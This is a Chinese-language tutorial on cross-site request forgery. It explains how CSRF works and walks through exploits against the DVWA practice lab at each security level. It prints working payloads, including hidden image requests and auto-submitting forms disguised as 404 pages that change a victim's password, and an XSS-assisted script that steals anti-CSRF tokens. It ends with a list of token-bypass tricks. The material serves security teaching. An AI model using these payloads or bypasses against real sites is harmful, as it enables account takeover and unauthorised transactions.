简介
CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:One Click Attack/Session Riding。
漏洞原理:攻击者盗用了用户的身份,以用户的名义向第三方网站发送恶意请求。 CRSF能做的事情包括利用你的身份发邮件、发短信、进行交易转账等,甚至盗取你的账号。
漏洞成因:网站的Cookie在浏览器中不会过期,只要不关闭浏览器或者退出登录,那以后只要是访问这个网站,都会默认你已经登录的状态。而在这个期间,攻击者发送了构造好的CSRF脚本或包含CSRF脚本的链接,可能会执行一些用户不想做的功能(比如是添加账号等)。这个操作不是用户真正想要执行的。
原理演示
- 受害者访问存在CSRF漏洞的站点A(www.a.com);
- 攻击者诱导受害者访问自己的站点B(www.b.com);
- 受害者中招访问了攻击者制作的网站B;
- 攻击者带着受害者的认证信息,发送伪造的请求给站点A,实现非法操作;
- 站点A看到是用户(受害者)的认证信息便对请求做了应答;
-
攻击者达到目的,一次CSRF攻击完成。
原理图
相关知识
Cookie是由服务器端生成,发送给User-Agent,浏览器会将Cookie的key/value保存到某个目录下的文本文件内,下次请求同一网站时就发送该Cookie给服务器。
同源策略:同源策略是浏览器的一个安全功能,不同源的客户端脚本在没有明确授权的情况下,不能读写对方资源。页面中的链接,重定向以及表单提交是不会受到同源策略限制的。
AJAX = Asynchronous JavaScript and XML(异步的 JavaScript 和 XML)在不重新加载整个页面的情况下,可以与服务器交换数据并更新部分网页内容。
表单在网页中主要负责数据采集功能。一个表单有三个基本组成部分:
表单标签:这里面包含了处理表单数据所用CGI程序的URL以及数据提交到服务器的方法;
表单域:包含文本框、密码框、隐藏域、多行文本框、复选框、单选框、下拉选择框和文件上传框等;
表单按钮:包括提交按钮、复位按钮和一般按钮;
用于将数据传送到服务器上的CGI脚本或者取消输入,还可以用表单按钮来控制其他定义了处理脚本的处理工作。
CSRF分类
GET类型的CSRF是CSRF中最常见,危害最大,但也是最简单的一种类型,只要一个HTTP请求就可以实现,这种类型又可以分为手动型和自动型,手动型就是需要我们自己去点击才会发生攻击,比如各种URL链接,各种a标签包裹的DOM元素。自动型的是不需要我们点击,只要当我们访问具有某些标签的网站的时候就会自动发生攻击,比如网页中有
<img src="http://www.123.com/transaction.php?id=3&amount=1000" />
<script src="http://www.123.com/transaction.php?id=3&amount=1000"></script>
因为这些标签是网页加载的时候就会自动发送HTTP 请求,所以当网页加载的时候CSRF就会自动发生。要实现这种CSRF就必须实现跨域访问,比如利用上面这两个可以发送跨域请求的标签,AJAX是不能实现这种CSRF的,因为AJAX有同源策略,当使用AJAX的时候,接受数据的URL地址的域名、端口、协议、必须和当前地址的域名、端口、协议都一致才能成功发送数据,不然数据是发送不成功的。
post请求和get请求不同,post请求是要把参数放在http的请求body里发送给服务器,所以post类型的CSRF需要用post的方式发送请求。我们常用的post请求方式一般就两个,AJAX和表单,当正如我上面所说,AJAX是有同源策略的,所以不能用AJAX的方式发送post请求,所以就剩下表单的方式,表单是支持跨域发送请求的。通常的方法就是创建一个自动提交的表单,比如:静态创建一个自动提交的表单
<form action="http://www.a.com/transaction.php" method="post" id="form">
<input type="text" name="id" value="3" />
<input type="text" name="amount" value="1000" />
</form>
<script> document.getElementById("form").submit()</script>
动态创建一个自动提交的表单
<script>
let form = document.createElement('form');
form.action = 'http://www.123.com/transaction.php';
form.method = 'post';
let input = document.createElement('input');
input.type = 'text';
input.name = 'id';
input.value = '3';
form.appendChild(input);
input = document.createElement('input');
input.type = 'text';
input.name = 'amount';
input.value = '1000';
form.appendChild(input);
document.body.appendChild(form);
form.submit();
</script>
漏洞挖掘
- 自动化扫描工具:NetSpark、AWVS、AppScan等。
- 自动化扫描工具:CSRFTESTER、Burp等。
- 手工测试:全凭经验!
漏洞利用
DVWA是一款基于PHP和mysql开发的web靶场练习平台,集成了常见的web漏洞如sql注入,xss,密码破解等常见漏洞。DVWA 的代码分为四种安全级别:Low,Medium,High,Impossible。其安全性从低到高。利用难度也从低到高。
漏洞利用-DVWA-Low
查看源码可知, Low Security Level的代码中未对输入做任何处理。
payload1
构造链接:http://192.168.43.84/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=12321&Change=Change#
生成短链接的网站:http://tool.chinaz.com/tools/dwz.aspx
通过img标签中的src属性来加载攻击利用的URL,并进行布局隐藏,实现了受害者点击链接则会将密码修改
payload2
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<img src="http://192.168.43.84/dvwa/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#">
<h1>404</h1>
<h2>file not found</h2>
</body>
</html>
查看页面html源代码,将关于密码操作的表单部分,通过javascript的onload事件加载和css代码来隐藏布局,按GET传递参数的方式,进一步构造html form表单,实现了受害者点击链接则会将密码修改。
payload3
<body onload="javascript:csrf()">
<script>
function csrf(){
document.getElementById("button").click();
}
</script>
<style>
form{
display:none;
}
</style>
<form action="http://192.168.43.84/dvwa/vulnerabilities/csrf/" method="GET">
<input type="password" AUTOCOMPLETE="off" name="password_new" value="1212"><br />
<input type="password" AUTOCOMPLETE="off" name="password_conf" value="1212"><br />
<input type="submit" id="button" name="Change" value="Change" />
</form>
<h1>404</h1>
<h2>file not found</h2>
</body>
漏洞利用-DVWA-Medium
查看源码可知, Medium Security Level的代码中使用了stripos()函数
stripos()函数:stripos(string,find,start)
stripos()函数查找字符串在另一字符串中第一次出现的位置,不区分大小写。
PHP超全局变量_SERVER['HTTP_REFERER']:PHP中获取链接到当前页面的前一页面的url链接地址,即HTTP数据包中的Referer参数的值
_SERVER['HTTP_REFERER']的值中必须包含$_SERVER['SERVER_NAME'],以此来抵御CSRF攻击。
利用:在HTTP请求头的referer字段中添加DVWA服务器名称(只有保证referer的值包含DVWA服务器的域名或IP地址,就能够实现攻击)
漏洞利用-DVWA-High
分析:查看源码可知, High Security Level的代码加入了Anti-CSRF token机制,用户每次访问修改密码页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。
利用:要绕过High Security Level的反CSRF机制,关键是要获取token,要利用受害者的cookie去修改密码的页面获取关键的token。试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击,下面是代码。
思路:找一个XSS漏洞来配合,先通过XSS获得token之后修改密码。
payload
alert(document.cookie);
var theUrl = 'http://www.dvwa.com/vulnerabilities/csrf/';
if(window.XMLHttpRequest) {
xmlhttp = new XMLHttpRequest();
}else{
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
var count = 0;
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState ==4 && xmlhttp.status==200)
{
var text = xmlhttp.responseText;
var regex = /user_token\' value\=\'(.*?)\' \/\>/;
var match = text.match(regex);
console.log(match);
alert(match[1]);
var token = match[1];
var new_url = 'http://127.0.0.1/vulnerabilities/csrf/?user_token='+token+'&password_new=test&password_conf=test&Change=Change';
if(count==0){
count++;
xmlhttp.open("GET",new_url,false);
xmlhttp.send();
}
}
};
xmlhttp.open("GET",theUrl,false);
xmlhttp.send();
漏洞利用-DVWA-Impossible
Impossible Security Level的代码利用PDO技术防御SQL注入,至于防护CSRF,则要求用户输入原始密码,攻击者在不知道原始密码的情况下,无论如何都无法进行CSRF攻击。
CSRF防御
番外篇——Token防御绕过
token-仅算法验证绕过
原因:应用程序不验证CSRF令牌是否绑定到特定账户而仅验证token算法
绕过:payload中编码一个合法有效的token即可,测试方法:
账户A登录网站进入修改密码页面
抓包保存token令牌
注销账户A,登录账户B
转到密码更改页面并拦截请求
使用A账户的token令牌代替B账户的
Token-仅长度验证
原因:应用程序仅验证每次token令牌是否不同,且长度一致
绕过:可以通过修改令牌的值保持长度相同即可
Token-置空令牌
原因:应用程序仅在token应用程序不为空的情况下检查token(常见)
绕过:抓包删除请求中的token令牌即可
Token-仅静态验证
原因:token令牌由静态和动态两部分组成,程序仅验证了静态部分
绕过:删除动态部分,仅用静态部分绕过
Token-令牌易构造
原因:生成的token令牌过于简单有规律可循
绕过:探究令牌生成的方式,通过构造令牌进行绕过